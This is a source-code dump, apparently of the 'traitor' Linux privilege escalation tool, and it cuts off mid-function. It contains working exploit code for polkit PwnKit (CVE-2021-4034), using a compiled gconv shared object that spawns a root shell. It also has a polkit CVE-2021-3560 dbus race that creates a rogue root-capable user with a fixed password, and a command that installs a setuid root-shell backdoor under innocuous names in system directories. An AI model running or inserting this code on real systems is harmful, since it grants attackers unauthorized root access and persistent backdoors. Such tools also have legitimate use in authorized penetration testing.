args: []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"},
},
{
goarch: "arm64",
binary: "aarch64-linux-gnu-gcc",
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
},
} {
for _, command := range []string{"/bin/sh", "/usr/bin/true"} {
desc := filepath.Base(command)
pwnkitSrc := fmt.Sprintf(`#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {}
void gconv_init(void *step) {
char *const args[] = {"%s", NULL};
char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
"bin:/sbin:/bin:/opt/bin",
NULL};
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}`, command)
sourcePath := filepath.Join(os.TempDir(), "traitor.c")
if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil {
return err
}
if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil {
return err
}
soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch)
soPath := filepath.Join(outputDir, soFilename)
rawSO, err := ioutil.ReadFile("/tmp/traitor.so")
if err != nil {
return err
}
output := bytes.NewBufferString(
fmt.Sprintf(
"//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{",
platform.goarch,
desc,
),
)
for i, b := range rawSO {
if i%16 == 0 {
output.WriteString("\n ")
}
output.WriteString(fmt.Sprintf(" %d,", b))
}
output.WriteString("\n}\n")
if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil {
return err
}
}
}
return nil
}
================================================
FILE: cmd/traitor/main.go
================================================
package main
import (
"github.com/liamg/traitor/internal/cmd"
)
func main() {
cmd.Execute()
}
================================================
FILE: go.mod
================================================
module github.com/liamg/traitor
go 1.18
require (
github.com/creack/pty v1.1.18
github.com/google/uuid v1.3.0
github.com/hashicorp/go-version v1.5.0
github.com/liamg/tml v0.6.0
github.com/spf13/cobra v1.5.0
golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e
golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c
)
require (
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 // indirect
)
================================================
FILE: go.sum
================================================
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E=
github.com/hashicorp/go-version v1.5.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y=
github.com/liamg/tml v0.6.0/go.mod h1:0h4EAV/zBOsqI91EWONedjRpO8O0itjGJVd+wG5eC+E=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM=
golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c h1:aFV+BgZ4svzjfabn8ERpuB4JI4N6/rdy1iusx77G3oU=
golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM=
golang.org/x/term v0.0.0-20220526004731-065cf7ba2467/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
================================================
FILE: internal/cmd/backdoor.go
================================================
package cmd
import (
"fmt"
"os"
"github.com/liamg/traitor/pkg/backdoor"
"github.com/spf13/cobra"
)
func init() {
backdoorCmd.AddCommand(backdoorInstallCmd)
backdoorCmd.AddCommand(backdoorUninstallCmd)
rootCmd.AddCommand(backdoorCmd)
}
var backdoorCmd = &cobra.Command{
Use: "backdoor",
Short: "Install a root shell backdoor",
}
var backdoorInstallCmd = &cobra.Command{
Use: "install [path]",
Short: "Install a root shell backdoor",
Args: cobra.MaximumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
var path *string
var err error
if len(args) == 1 {
path, err = backdoor.InstallToPath(args[0])
} else {
path, err = backdoor.Install()
}
if err != nil {
fail("Failed to install backdoor: %s", err)
}
fmt.Println(*path)
},
}
var backdoorUninstallCmd = &cobra.Command{
Use: "uninstall [path]",
Short: "Uninstall a root shell backdoor",
Args: cobra.MaximumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
path, err := os.Executable()
if err != nil {
fail("Failed to determine executable path: %s", err)
}
if len(args) == 0 {
info, err := os.Stat(path)
if err != nil {
fail("Failed to stat path: %s", err)
}
if info.Mode()&os.ModeSetuid == 0 {
fail("Not a backdoor.")
}
} else {
path = args[1]
}
if err := backdoor.Uninstall(path); err != nil {
fail("Failed to remove backdoor: %s", err)
}
fmt.Println("Backdoor removed.")
},
}
================================================
FILE: internal/cmd/list.go
================================================
package cmd
import (
"fmt"
"github.com/liamg/traitor/pkg/exploits"
"github.com/spf13/cobra"
)
func init() {
rootCmd.AddCommand(listCmd)
}
var listCmd = &cobra.Command{
Use: "list",
Short: "List all available methods.",
Run: func(cmd *cobra.Command, args []string) {
allExploits := exploits.Get(exploits.SpeedAny)
for _, exploit := range allExploits {
fmt.Println(exploit.Name)
}
},
}
================================================
FILE: internal/cmd/root.go
================================================
package cmd
import (
"context"
"fmt"
"os"
"os/user"
"github.com/liamg/traitor/internal/version"
"github.com/liamg/traitor/pkg/logger"
"github.com/liamg/traitor/pkg/state"
"github.com/liamg/traitor/pkg/exploits"
"github.com/spf13/cobra"
)
var runAnyExploit bool
var exploitName string
var promptForPassword bool
var skipExploits []string
func init() {
rootCmd.PersistentFlags().BoolVarP(&runAnyExploit, "any", "a", runAnyExploit, "Attempt to exploit a vulnerability as soon as it is detected. Provides a shell where possible.")
rootCmd.PersistentFlags().BoolVarP(&promptForPassword, "with-password", "p", promptForPassword, "Prompt for the user password, if you know it. Can provide more GTFOBins possibilities via sudo.")
rootCmd.PersistentFlags().StringVarP(&exploitName, "exploit", "e", exploitName, "Run the specified exploit, if the system is found to be vulnerable. Provides a shell where possible.")
rootCmd.PersistentFlags().StringSliceVarP(&skipExploits, "skip", "k", skipExploits, "Exploit(s) to skip - specify multiple times to skip multiple exploits.")
}
var rootCmd = &cobra.Command{
Use: "traitor",
Short: "Traitor is a privilege escalation framework for Linux",
Long: `An extensible privilege escalation framework for Linux
Complete documentation is available at https://github.com/liamg/traitor`,
Args: cobra.ExactArgs(0),
PreRun: func(_ *cobra.Command, args []string) {
fmt.Printf("\x1b[34m"+`
▀█▀ █▀█ ▄▀█ █ ▀█▀ █▀█ █▀█
░█░ █▀▄ █▀█ █ ░█░ █▄█ █▀▄ %s
`+"\x1b[31mhttps://github.com/liamg/traitor\n\n", version.Version)
},
Run: func(cmd *cobra.Command, args []string) {
ctx := context.Background()
baseLog := logger.New()
if user, err := user.Current(); err == nil && user.Uid == "0" {
baseLog.Printf("You are already root.")
return
}
baseLog.Printf("Assessing machine state...")
localState := state.New()
localState.HasPassword = promptForPassword
localState.Assess()
baseLog.Printf("Checking for opportunities...")
allExploits := exploits.Get(exploits.SpeedAny)
var found bool
var vulnFound bool
for _, exploit := range allExploits {
if shouldSkip(exploit.Name) {
continue
}
if exploitName == "" || exploitName == exploit.Name {
found = true
exploitLogger := baseLog.WithTitle(exploit.Name)
if exploit.Vulnerability.IsVulnerable(ctx, localState, exploitLogger) {
vulnFound = true
if disclosure, ok := exploit.Vulnerability.(exploits.Disclosure); ok {
exploitLogger.Printf("Gathering information...")
if err := disclosure.Disclose(ctx, localState, exploitLogger); err != nil {
baseLog.WithTitle("error").Printf("Disclosure failed: %s", err)
}
}
if sheller, ok := exploit.Vulnerability.(exploits.ShellDropper); ok {
if runAnyExploit || exploitName == exploit.Name {
exploitLogger.Printf("Opportunity found, trying to exploit it...")
if err := sheller.Shell(ctx, localState, exploitLogger); err != nil {
baseLog.WithTitle("error").Printf("Exploit failed: %s", err)
baseLog.Printf("Continuing to look for opportunities")
vulnFound = false
continue
}
exploitLogger.Printf("Session complete.")
baseLog.Printf("Done.")
return
}
exploitLogger.Printf("System is vulnerable! Run again with '--exploit %s' to exploit it.", exploit.Name)
} else if exploitName != "" {
exploitLogger.Printf("No local exploit available for '%s'", exploit.Name)
}
} else if exploitName != "" {
exploitLogger.Printf("System is not vulnerable to '%s' - cannot exploit.", exploit.Name)
}
}
}
if exploitName != "" && !found {
baseLog.Printf("No exploit found for '%s'", exploitName)
} else if !vulnFound {
baseLog.Printf("Nothing found to exploit.")
}
},
}
func shouldSkip(id string) bool {
for _, skip := range skipExploits {
if skip == id {
return true
}
}
return false
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
_, _ = fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
================================================
FILE: internal/cmd/setuid.go
================================================
package cmd
import (
"fmt"
"os"
"os/exec"
"syscall"
"time"
"github.com/spf13/cobra"
)
var setuidShell = "/bin/sh"
var setuidShellCmd = ""
func init() {
setuidCmd.Flags().StringVarP(&setuidShell, "shell", "s", setuidShell, "Path to shell to execute, e.g. /bin/bash.")
setuidCmd.Flags().StringVarP(&setuidShellCmd, "cmd", "c", setuidShellCmd, "Shell command to execute - leave blank to be dropped in interactive shell.")
rootCmd.AddCommand(setuidCmd)
}
var setuidCmd = &cobra.Command{
Use: "setuid",
Short: "Wrap a given shell with setuid",
Run: func(cmd *cobra.Command, args []string) {
path, err := os.Executable()
if err != nil {
fail("Error requesting binary path: %s", err)
}
stat, err := os.Stat(path)
if err != nil {
fail("Error requesting binary stat: %s", err)
}
if stat.Mode()&os.ModeSetuid == 0 {
fail("Error: the traitor binary does not have the setuid bit set: %o", stat.Mode())
}
effectiveUID := syscall.Geteuid()
effectiveGID := syscall.Getegid()
shellCmd := &exec.Cmd{
SysProcAttr: &syscall.SysProcAttr{
Credential: &syscall.Credential{
Uid: uint32(effectiveUID),
Gid: uint32(effectiveGID),
},
},
Path: setuidShell,
Args: []string{setuidShell},
Env: os.Environ(),
Dir: "/",
Stdin: os.Stdin,
Stdout: os.Stdout,
Stderr: os.Stderr,
}
if setuidShellCmd != "" {
shellCmd.Args = append(shellCmd.Args, "-c", setuidShellCmd)
} else {
time.Sleep(time.Second)
fmt.Println("")
defer func() { fmt.Println("") }()
}
if err := shellCmd.Run(); err != nil {
fail("Error: %s", err)
}
},
}
func fail(format string, args ...interface{}) {
_, _ = fmt.Fprintf(os.Stderr, format+"\n", args...)
os.Exit(1)
}
================================================
FILE: internal/pipe/pipe.go
================================================
package pipe
import (
"fmt"
"io"
"strings"
"sync"
"time"
)
type LockablePipe struct {
input io.Reader
received []byte
mu sync.Mutex
}
func NewLockable(input io.Reader) *LockablePipe {
return &LockablePipe{
input: input,
}
}
func (l *LockablePipe) Flush() []byte {
l.mu.Lock()
defer l.mu.Unlock()
output := l.received[:]
l.received = nil
return output
}
func (l *LockablePipe) WaitForString(expected string, until time.Duration) error {
buffer := make([]byte, 0xff)
timer := time.NewTimer(until)
errChan := make(chan error, 1)
var quit bool
l.mu.Lock()
go func() {
defer l.mu.Unlock()
for {
if quit {
return
}
n, err := l.input.Read(buffer)
if err != nil {
errChan <- err
return
}
if quit {
return
}
l.received = append(l.received, buffer[:n]...)
if strings.Contains(string(l.received), expected) {
errChan <- nil
return
}
}
}()
select {
case <-timer.C:
quit = true
return fmt.Errorf("timed out")
case err := <-errChan:
return err
}
}
func (l *LockablePipe) Read(p []byte) (n int, err error) {
l.mu.Lock()
defer l.mu.Unlock()
if len(l.received) > 0 {
// we still have some buffer to flush
n = copy(p, l.received)
l.received = l.received[n:]
return
}
return l.input.Read(p)
}
================================================
FILE: internal/version/version.go
================================================
package version
var Version string = "v0.0.0"
================================================
FILE: pkg/backdoor/traitor.go
================================================
package backdoor
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"syscall"
"github.com/liamg/traitor/pkg/random"
"golang.org/x/sys/unix"
)
type Metadata struct {
Path string
}
var backdoorDirs = []string{
"/bin",
"/sbin",
"/usr/bin",
"/",
}
var backdoorFilenames = []string{
"initrd",
}
func findWritableDirectory() (string, error) {
var candidates []string
candidates = append(candidates, backdoorDirs...)
if targetDir, err := os.UserHomeDir(); err == nil {
candidates = append(candidates, targetDir)
}
for _, candidate := range candidates {
if err := syscall.Access(candidate, unix.W_OK); err != nil {
continue
}
return candidate, nil
}
return "", fmt.Errorf("no writable directory found")
}
func Uninstall(path string) error {
return os.Remove(path)
}
func Install() (*string, error) {
targetDir, err := findWritableDirectory()
if err != nil {
return nil, err
}
var candidates []string
candidates = append(candidates, backdoorFilenames...)
for i := 0; i < 10; i++ {
candidates = append(candidates, random.Filename())
}
var path string
for _, name := range candidates {
testPath := filepath.Join(targetDir, name)
if _, err := os.Stat(path); os.IsNotExist(err) {
path = testPath
break
}
}
if path == "" {
return nil, fmt.Errorf("failed to find writable path")
}
return InstallToPath(path)
}
func InstallToPath(path string) (*string, error) {
if _, err := os.Stat(path); !os.IsNotExist(err) {
if err != nil {
return nil, err
}
return nil, fmt.Errorf("file already exists")
}
file, err := os.Create(path)
if err != nil {
return nil, err
}
setuidShellSrcPath, err := os.Executable()
if err != nil {
return nil, err
}
input, err := ioutil.ReadFile(setuidShellSrcPath)
if err != nil {
return nil, err
}
if _, err := file.Write(input); err != nil {
return nil, err
}
if err := file.Close(); err != nil {
return nil, err
}
if err := os.Chown(path, 0, 0); err != nil {
return nil, err
}
if err := os.Chmod(path, 0777|os.ModeSetuid|os.ModeSetgid); err != nil {
return nil, err
}
return &path, nil
}
================================================
FILE: pkg/exploits/all.go
================================================
package exploits
import (
"github.com/liamg/traitor/pkg/exploits/cve20213560"
"github.com/liamg/traitor/pkg/exploits/cve20214034"
"github.com/liamg/traitor/pkg/exploits/cve20220847"
"github.com/liamg/traitor/pkg/exploits/dockersock"
)
func init() {
register("docker:writable-socket", SpeedFast, dockersock.New())
}
func init() {
register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New())
}
func init() {
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
}
func init() {
register("kernel:CVE-2022-0847", SpeedFast, cve20220847.New())
}
================================================
FILE: pkg/exploits/cve20213560/exploit.go
================================================
package cve20213560
import (
"context"
"fmt"
"io"
"math/rand"
"os"
"os/exec"
"os/signal"
"os/user"
"regexp"
"strings"
"syscall"
"time"
"github.com/creack/pty"
"github.com/hashicorp/go-version"
"github.com/liamg/traitor/internal/pipe"
"github.com/liamg/traitor/pkg/logger"
"github.com/liamg/traitor/pkg/payloads"
"github.com/liamg/traitor/pkg/state"
"golang.org/x/crypto/ssh/terminal"
)
type exploit struct {
}
func New() *exploit {
exp := &exploit{}
return exp
}
var simpleVersionRegex = regexp.MustCompile(`^[0-9\.\-]+`)
func (v *exploit) isVulnerableDebian(s *state.State) bool {
if !s.IsDebianLike() {
return false
}
out, err := exec.Command("sh", "-c", "apt info policykit-1 | grep 'Version:'").Output()
if err != nil {
return false
}
fields := strings.Fields(string(out))
if len(fields) < 2 {
return false
}
simpleVersion := simpleVersionRegex.FindString(fields[1])
actual, err := version.NewVersion(simpleVersion)
if err != nil {
return false
}
vulnerable, err := version.NewVersion("0.105-26") // vuln was introduced in 0.105-26
if err != nil {
return false
}
patched, err := version.NewVersion("0.105-31") // vuln was patched in 0.105-31
if err != nil {
return false
}
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}
func (v *exploit) isVulnerableOther() bool {
output, err := exec.Command("pkcheck", "--version").Output()
if err != nil {
return false
}
fields := strings.Fields(string(output))
actualVersion := fields[len(fields)-1]
actual, err := version.NewVersion(actualVersion)
if err != nil {
return false
}
vulnerable, err := version.NewVersion("0.113") // vuln was introduced in 0.113
if err != nil {
return false
}
patched, err := version.NewVersion("0.119") // vuln was patched in 0.113
if err != nil {
return false
}
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}
func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {
// two different forks are versioned differently
if !v.isVulnerableDebian(s) && !v.isVulnerableOther() {
return false
}
if !s.IsPackageInstalled("gnome-control-center") || !s.IsPackageInstalled("accountsservice") {
// if required packages aren't installed, we may be able to install them with package kit...
if !s.IsPackageInstalled("packagekit") {
return false
}
}
log.Printf("Polkit version is vulnerable!")
return true
}
func (v *exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
return v.Exploit(ctx, s, log, payloads.Defer)
}
func (v *exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
// attempt to install these via packagekit if they're not installed
if err := v.installPackage("gnome-control-center", s, log); err != nil {
return err
}
if err := v.installPackage("accountsservice", s, log); err != nil {
return err
}
user, err := v.createUser(log)
if err != nil {
return fmt.Errorf("failed to create user")
}
password := v.setPassword(user, log)
log.Printf("Setting up tty...")
cmd := exec.Command("sh", "-c", fmt.Sprintf("su - %s", user.Username))
// Start the command with a pty.
ptmx, err := pty.Start(cmd)
if err != nil {
return err
}
// Make sure to close the pty at the end.
defer func() { _ = ptmx.Close() }() // Best effort.
// Handle pty size.
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for range ch {
_ = pty.InheritSize(os.Stdin, ptmx)
}
}()
ch <- syscall.SIGWINCH // Initial resize.
// Set stdin in raw mode.
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
return err
}
defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.
expChan := make(chan error)
lockable := pipe.NewLockable(ptmx)
log.Printf("Attempting authentication as new user...")
if err := lockable.WaitForString("Password:", time.Second*2); err == nil {
_ = lockable.Flush()
if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
return err
}
if err := lockable.WaitForString("su: Authentication failure", time.Second*8); err == nil {
_ = lockable.Flush()
return fmt.Errorf("invalid password")
}
time.Sleep(time.Millisecond * 100)
} else {
return err
}
log.Printf("Authenticated as %s (%s)!", user.Username, user.Uid)
log.Printf("Attempting escalation to root...")
if _, err := ptmx.Write([]byte("sudo -i; exit\n")); err != nil {
return err
}
if err := lockable.WaitForString("[sudo] password for", time.Second*8); err == nil {
_ = lockable.Flush()
if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
return err
}
} else {
return err
}
log.Printf("Authenticated as root!")
log.Printf("Writing payload...")
go func() {
if payload != payloads.Defer {
time.Sleep(time.Millisecond * 100)
if _, err := ptmx.Write([]byte(payload)); err != nil {
expChan <- err
return
}
time.Sleep(time.Millisecond * 100)
if _, err := ptmx.Write([]byte{0x0d, 0x0a}); err != nil {
expChan <- err
return
}
}
expChan <- nil
}()
// Copy stdin to the pty and the pty to stdout.
go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
_, _ = io.Copy(os.Stdout, lockable)
if err := <-expChan; err != nil {
return err
}
return nil
}
func (v *exploit) createUser(log logger.Logger) (*user.User, error) {
username := fmt.Sprintf("traitor%d", rand.Intn(10000))
userinfo := "CVE-2021-3560"
createUser := fmt.Sprintf(`--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:%s string:%s int32:1`,
username,
userinfo,
)
log.Printf("Sampling timing of user creation command...")
avgTime := v.timeDbusCommand(strings.Split(createUser, " "))
log.Printf("Average time for user creation to fail authentication is %s", avgTime)
log.Printf("Attempting to create user '%s' by forcing UID=0...", username)
for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond {
for i := 0; i < 10; i++ {
func() {
ctx, cancel := context.WithTimeout(context.Background(), delayTime)
defer cancel()
_ = exec.CommandContext(ctx, "dbus-send", strings.Split(createUser, " ")...).Run()
}()
}
}
user, err := user.Lookup(username)
if err != nil {
return nil, err
}
log.Printf("User '%s' was created with UID (%s)!", user.Username, user.Uid)
return user, nil
}
func (v *exploit) setPassword(u *user.User, log logger.Logger) string {
password := "traitor"
passwordHash := "$5$xRveGoW.etBZqJwg$uEvtrnKPbuEvTxJAisVrCevthWxafgX6.uAS6uF7QW7"
setPassword := fmt.Sprintf(
`--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User%s org.freedesktop.Accounts.User.SetPassword string:%s string:lol`,
u.Uid,
passwordHash,
)
log.Printf("Sampling timing of password set command...")
avgTime := v.timeDbusCommand(strings.Split(setPassword, " "))
log.Printf("Average time for password set to fail authentication is %s", avgTime)
log.Printf("Attempting to set user password...")
for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond / 4 {
for i := 0; i < 10; i++ {
func() {
ctx, cancel := context.WithTimeout(context.Background(), delayTime)
defer cancel()
_ = exec.CommandContext(ctx, "dbus-send", strings.Split(setPassword, " ")...).Run()
}()
}
}
log.Printf("Finished attempting to set password.")
return password
}
func (v *exploit) timeDbusCommand(args []string) time.Duration {
var totalTime time.Duration
samples := 100
for i := 0; i < samples; i++ {
start := time.Now()
_ = exec.Command("dbus-send", args...).Run()
totalTime += time.Since(start)
}
return totalTime / time.Duration(samples)
}
func (v *exploit) installPackage(name string, s *state.State, log logger.Logger) error {
if s.IsPackageInstalled(name) {
return nil
}
if !s.IsPackageInstalled("packagekit") {
return fmt.Errorf("required packages are not available")
}
log.Printf("Package '%s' is not installed, trying to force installation via packagekit...", name)
installPackage := fmt.Sprintf(`--session --print-reply --type=method_call --dest=org.freedesktop.PackageKit /org/freedesktop/PackageKit org.freedesktop.PackageKit.Modify.InstallPackageNames uint32:1 array:string:%s string:`,
name,
)
log.Printf("Sampling timing of package installation command...")
avgTime := v.timeDbusCommand(strings.Split(installPackage, " "))
log.Printf("Average time for package install to fail authentication is %s", avgTime)
log.Printf("Attempting to install '%s' by forcing UID=0...", name)
log.Printf("Please wait ~60s...")
for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond {
for i := 0; i < 10; i++ {
func() {
ctx, cancel := context.WithTimeout(context.Background(), delayTime)
defer cancel()
_ = exec.CommandContext(ctx, "dbus-send", strings.Split(installPackage, " ")...).Run()
}()
}
}
time.Sleep(time.Minute)
if !s.IsPackageInstalled(name) {
return fmt.Errorf("failed to force install of '%s' via packagekit", name)
}
log.Printf("Package '%s' was installed!", name)
return nil
}
================================================
FILE: pkg/exploits/cve20214034/exploit.go
================================================
package cve20214034
import (
"context"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"github.com/google/uuid"
"github.com/liamg/traitor/pkg/logger"
"github.com/liamg/traitor/pkg/payloads"
"github.com/liamg/traitor/pkg/state"
)
// see:
// - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
// - https://seclists.org/oss-sec/2022/q1/80
type cve20214034Exploit struct {
uuid string
}
func New() *cve20214034Exploit {
exp := &cve20214034Exploit{
uuid: uuid.NewString(),
}
return exp
}
func (v *cve20214034Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool {
if _, err := exec.LookPath("pkexec"); err != nil {
return false
}
data, err := exec.Command("pkexec", "--version").Output()
if err != nil {
return false
}
bits := strings.Split(string(data), " ")
last := bits[len(bits)-1]
versionBits := strings.Split(last, ".")
if versionBits[0] != "0" || len(versionBits) <= 1 {
return false
}
minorStr := strings.Split(versionBits[1], "-")[0]
minor, err := strconv.Atoi(minorStr)
if err != nil {
return false
}
if minor > 105 {
return false
}
if err := v.Exploit(ctx, s, log.Silenced(), payloads.Payload("true")); err != nil {
return false
}
log.Printf("Polkit version is vulnerable!")
return true
}
func (v *cve20214034Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
return v.Exploit(ctx, s, log, payloads.Default)
}
func (v *cve20214034Exploit) writeSharedObject(path string, aggro bool, log logger.Logger) error {
var command string
var so []byte
if aggro {
so = pwnkit_sh_sharedobj
command = "/bin/sh"
} else {
so = pwnkit_true_sharedobj
command = "/usr/bin/true"
}
if _, err := exec.LookPath("cc"); err != nil {
log.Printf("C compiler not available, using precompiled shared object...")
return ioutil.WriteFile(path, so, 0755)
}
src := fmt.Sprintf(`#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {}
void gconv_init(void *step) {
char *const args[] = {"%s", NULL};
char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
"bin:/sbin:/bin:/opt/bin",
NULL};
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}
`, command)
log.Printf("Compiling shared object...")
srcPath := filepath.Join(os.TempDir(), "traitor.c")
if err := ioutil.WriteFile(srcPath, []byte(src), 0600); err != nil {
return err
}
defer func() {
_ = os.Remove(srcPath)
}()
return exec.Command("cc", "-Wall", "-shared", "-fPIC", "-o", path, srcPath).Run()
}
func (v *cve20214034Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
log.Printf("Setting up filesystem tree...")
dir, err := os.MkdirTemp(os.TempDir(), "traitor")
if err != nil {
return fmt.Errorf("could not create temp dir: %s", err)
}
defer func() {
_ = os.RemoveAll(dir)
}()
if err := os.MkdirAll(filepath.Join(dir, "GCONV_PATH=."), 0777); err != nil {
return fmt.Errorf("cloud not create exploit dir: %s", err)
}
if err := ioutil.WriteFile(filepath.Join(dir, "GCONV_PATH=.", "hax.so:."), []byte(";)"), 0777); err != nil {
return fmt.Errorf("failed to create fake executable: %s", err)
}
procAttr := &os.ProcAttr{
Dir: dir,
Env: []string{
"hax.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/no/where",
"CHARSET=HAX",
"GIO_USE_VFS=",
},
Files: []*os.File{
os.Stdin,
os.Stdout,
os.Stderr,
},
}
var aggressive bool
switch payload {
case payloads.Default, payloads.Defer:
aggressive = true
case payloads.Payload("true"):
default:
return fmt.Errorf("custom payloads are not supported for this exploit")
}
if err := v.writeSharedObject(filepath.Join(dir, "hax.so"), aggressive, log); err != nil {
return err
}
log.Printf("Writing local gconv-modules...")
if err := ioutil.WriteFile(filepath.Join(dir, "gconv-modules"), []byte("module UTF-8// HAX// hax 1\n"), 0644); err != nil {
return fmt.Errorf("failed to write gconv-modules: %s", err)
}
pkexecPath, err := exec.LookPath("pkexec")
if err != nil {
return err
}
log.Printf("Starting %s with malicious environment variables set...", pkexecPath)
process, err := os.StartProcess(pkexecPath, nil, procAttr)
if err != nil {
